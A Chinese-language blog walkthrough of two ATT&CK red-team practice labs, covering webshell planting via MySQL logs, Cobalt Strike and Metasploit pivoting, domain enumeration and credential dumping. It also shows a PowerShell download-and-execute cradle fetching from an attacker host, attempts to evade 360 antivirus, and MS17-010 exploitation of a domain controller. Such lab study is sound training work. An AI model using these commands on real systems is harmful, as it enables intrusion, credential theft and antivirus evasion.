前言
全部靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/
初学内网渗透,很多不了解,如有错误还请师傅们指点
att&ck红队评估实战靶场一
环境搭建
下载地址:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
解压,使用VMware打开三个虚拟机
该靶机通用密码:hongrisec@2019
因为靶机是放在内网服务器上,而不上自己本机所以需要设置一下
web服务的虚拟机桥接模式,让主路由下的主机可以访问到,让后设置一下网卡的优先级,原因:因为连接了域控,而域控的主机god.org在公网是有的,所以采用网卡优先级来让其先走内网的域控,将内网网卡优先级调整到最高,我是这样解决的,反正能用(如果在本机vmware搭建就不用这一步,只需要开启phpstudy检测网络连通性)
靶机拿webshell
基础信息收集
nmap -A 192.168.10.173
Not shown: 991 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
1025/tcp open msrpc Microsoft Windows RPC
1032/tcp open msrpc Microsoft Windows RPC
1055/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql MySQL (unauthorized)
3389/tcp open ssl/ms-wbt-server?
|_ssl-date: 2021-07-12T12:21:23+00:00; +1s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows XP|7|2012
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1h59m58s, deviation: 3h59m59s, median: 0s
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:0c:22:47 (VMware)
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: stu1
| NetBIOS computer name: STU1\x00
| Domain name: god.org
| Forest name: god.org
| FQDN: stu1.god.org
|_ System time: 2021-07-12T20:21:09+08:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-12T12:21:09
|_ start_date: 2021-07-12T07:38:10
开了3389可以尝试永恒之蓝,3306可以尝试连接数据库,主机名STU1
打开192.168.10.173,发现phpStudy 探针 2014
尝试弱口令root/root
然后访问http://192.168.10.173/phpmyadmin
弱口令存在一般都有,继续弱口令
关于phpmyadmin可以看看大佬博客
https://www.cnblogs.com/Mikasa-Ackerman/p/phpmyadmin-li-yong-de-duo-zhong-fang-shi.html
看不了文档,不知道版本,弱密码可以进去
先
show variables like 'secure_file_priv';
看下为NULL不可导入导出,写不了shell
然后尝试日志写shell吧
开启日志记录
set global general_log = "ON";
执行
show variables like '%datadir%';
根据数据库的默认存储位置来猜测web目录绝对路径。
指定日志文件
set global general_log_file='C:\\phpstudy\\WWW\\lnng.php'
show variables like 'general%';
写入执行代码
select "<?php eval(@$_POST['lnng']); ?>";
可以看到有yxcms,不过从数据库的表也不难看出,google一下发现这个cms有漏洞xss sql 啥的对我们似乎没用了,分析一下任意文件写入吧,
刚好发现有个beifen.rar(扫描路径的时候竟然没扫出来,哎!)
漏洞在后台,公告处有账号密码,靶场还有同学再打,密码已经被改了进不去,啊这!
看来一下数据库,被改的面目全非,看下加密方式,尝试改下数据库
还好有源码,找到加密方式,写个php文件,同样加密,替换数据库,登录成功,好耶!(我好像很闲,费劲干这个)
从新启航,进入后台
分析一下任意文件写入,漏洞位置
发现几乎没有任何过滤,保存位置apps/default/view/default/lnng.php
http://192.168.10.173/yxcms/index.php?r=admin/set/tpadd&Mname=default
这样也能拿shell
内网信息收集
cs起一个监听,生成一个windows exe木马文件,通过蚁剑传入目标机,再执行下面这句关闭防火墙
netsh advfirewall set allprofiles state off
创建cs shell
shell拿到,发现还有内网网卡
进行主机信息收集
shell whoami
查询系统体系架构:
shell echo %PROCESSOR_ARCHITECTURE%
查询已安装的软件及版本信息:
wmic product get name,version
查看当前运行进程:
wmic process list brief
发现似乎没有杀软
可以找个在线网站查询
http://ddoslinux.com/windows/index.php
进行内网信息查询
查看是否存在域
shell net time /domain
查看当前域的所有用户:
shell net user /domain
获取域内用户的详细信息:
shell wmic useraccount get /all
查看域管理员:
shell net group "domain controllers" /domain
再进行ping域控主机即可获得域控IP:192.168.52.138
查看所有域成员计算机列表:
shell net group "domain computers" /domain
查看本地管理组:
shell net localgroup administrators /domain
查看本地所有用户:
net user
利用icmp协议快速探测内网
快速探测内网
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
可以看出内网中还有一台机器141
也可右键查看
横向移动
可以先提权
获得本地管理员权限
抓取hash
就获得域控的账号密码,因为域控登录在window7系统上
导出了登陆过3389的某用户的明文密码
起一个win7的派生smb beacon,使用windows命名管道进行流量封装,再通过父beacon进行通信,流量相对较隐蔽,对于绕过防火墙有奇效
然后使用之前获取的主机信息和凭据,使用psexec模块进行登入
成功拿到域控
cs联动msf利用CS为MSF服务
MSF中配置监听
# 配置监听器
msf> use exploit/multi/handler
# 选择payload
msf> windows/meterpreter/reverse_http
msf> set lhost IP
msf> set lport port
# 启动监听器
msf> set ExitOnSession False
msf> run -jz
在CS中建立一个外部监听器 Foreign HTTP (或 Foreign HTTPS )
选择想要派生的目标,右键选择 spawn 功能,选择刚刚建立的监听器,即可在MSF中接收到回连。
弹到meterpreter以后,添加52网段的路由。
run autoroute -s 192.168.52.0/24
查看当前已经添加的路由
run autoroute -p
2. 利用CS为MSF提供转发或代理功能,进行后续的探测和漏洞利用:
利用Beacon建立 socks 代理:
在Beacon中输入 socks 监听端口,或者右键想要作为转发的目标,在pivoting中选择 SOCKS Server ,配置监听端口后点击 launch 激活。
便可个msf设置代理
#设置代理 msf> setg Proxies socks4:192.168.10.232:15138
3.正向SOCKS代理连接
如果WEB服务器存在公网ip,且可开启任意监听端口,可建立正向SOCKS代理,将EW文件上传至WEB服务器
相关工具链接:https://github.com/idlefire/ew
通过蚁剑上传到win7
在win7上执行下面语句
netsh advfirewall set allprofiles state off 关闭防火墙(之前已关闭)
ew_for_Win.exe -s ssocksd -l 9999 开启socket代理
浏览器挂代理还能进行进一步渗透
这里我们就对域控进行永恒之蓝操作
设置代理
setg Proxies socks5:192.168.10.232:9999
use exploit/windows/smb/ms17_010_psexec //windows 2003 的攻击模块
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.52.138
run
成功获得域控权限
参考文章
https://zhuanlan.zhihu.com/p/326150941
https://zhuanlan.zhihu.com/p/358131340
https://www.shuzhiduo.com/A/x9J2NwpEJ6/
att&ck红队评估实战靶场二
环境搭建
靶机通用密码: 1qaz@WSX
记得恢复到快照v1.3
如果你遇到这个问题
选择“保留”还是“放弃”,此时选择“放弃”,然后重启虚拟机就可以了
恢复后又发现问题
域控命令都无法连接到域控
需要再服务中
启动这项服务,不知整的对不对,运行没问题了,有问题还请大佬指点
由于我网络的特殊性,靶机是搭建再服务器上的web服务器vm需要桥接,才能被访问最后配置如下(可以访问web主机就不用配了)
web主机的
最后启动Weblogic
在
C:\Oracle\Middleware\user_projects\domains\base_domain\bin
目录,使用管理员cmd
startWebLogic
访问
http://192.168.10.176:7001/console/login/LoginForm.jsp
搭建完成
web渗透
先nmap扫描信息
nmap -A 192.168.10.176
扫描到WebLogic 竟然还能扫描到web.de1ay.com
WebLogic涉及java相关的没怎么学过这里就先脚本梭哈了
工具地址
链接:https://pan.baidu.com/s/1TNHMh3DNh8G86eUlb761kA 提取码:i8u0
这里通过powershell 命令
利用downloadstri远程读取powershell文件并iex执行
iex => Invoke-expression 将字符串当作powershell代码执行
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.10.232:80/a'))"
执行命令完成发现,并没上线,一看有360,啊这
将其ie改为别名试试
powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://192.168.10.232:80/a')
啊这还是拦截,刚学内网都遇见360
先上传shell吧
参考地址
https://www.cnblogs.com/sstfy/p/10350915.html
C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
冰蝎连接
如何免杀360
为了免杀360专门看看了免杀相关的
写了个小工具,地址:
https://github.com/Lmg66/shellcodeloading
生成一个木马文件
注意个这个注释掉,因为靶机系统盘不到45g
重命名一下2.exe
上传到C:/根目录
先不要直接运行,直接运行会被360直接杀掉
我们可以测试一下,
写了个
package main
import "fmt"
func main() {
fmt.Println("hello world!")
}
简单的打印hello world!编译为exe文件
命名为1.exe文件运行尝试
ps:妈的这玩意好玄学啊(写博客的时候又试了试)
又能执行了
直接运行2.exe还是拦截
创建个批处理文件试试,重新上传一个shellcode.exe
成功绕过360
后渗透
先查看系统的
AMD64的,安装的软件就sql server c++ c基本环境
查看进程的其他杀软
tasklist /SVC
http://ddoslinux.com/windows/index.php
只有360
网络信息收集
有两网卡
查看一下域吧
可以看到是有域环境的
怎么还拒绝访问呢??看了一下也是域下面的用户啊
大佬知道还请告之万分感谢
不过不影响,看下网络环境
域控应该就是10.10.10.10了
利用icmp协议快速探测内网
快速探测内网
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="
用了这个扫描结果差不多,好像还有MS17-010
https://github.com/shadow1ng/fscan
通过hashdump列出机器内的用户hash,利用cs自带的mimikatz中logonpassword模块进行破解,最终得到相关域用户的hash明文
psexec利用域管令牌攻击:
我靠被拦截了
想提权有360估计白给
没办法了试了几种办法各种360各种拦截
之前扫描有ms17_010
只能ms17_010一把梭哈啊,还好域控没有360
cs派生
MSF中配置监听
配置监听器 msf> use exploit/multi/handler
# 选择payload msf> windows/meterpreter/reverse_http
msf> set lhost IP msf> set lport port
# 启动监听器 msf> set ExitOnSession False
msf> run -jz
成功接收到
梭哈梭哈
添加路由
run autoroute -s 10.10.10.0/24
查看当前已经添加的路由
run autoroute -p
进行永恒之蓝操作
360属实恶心啊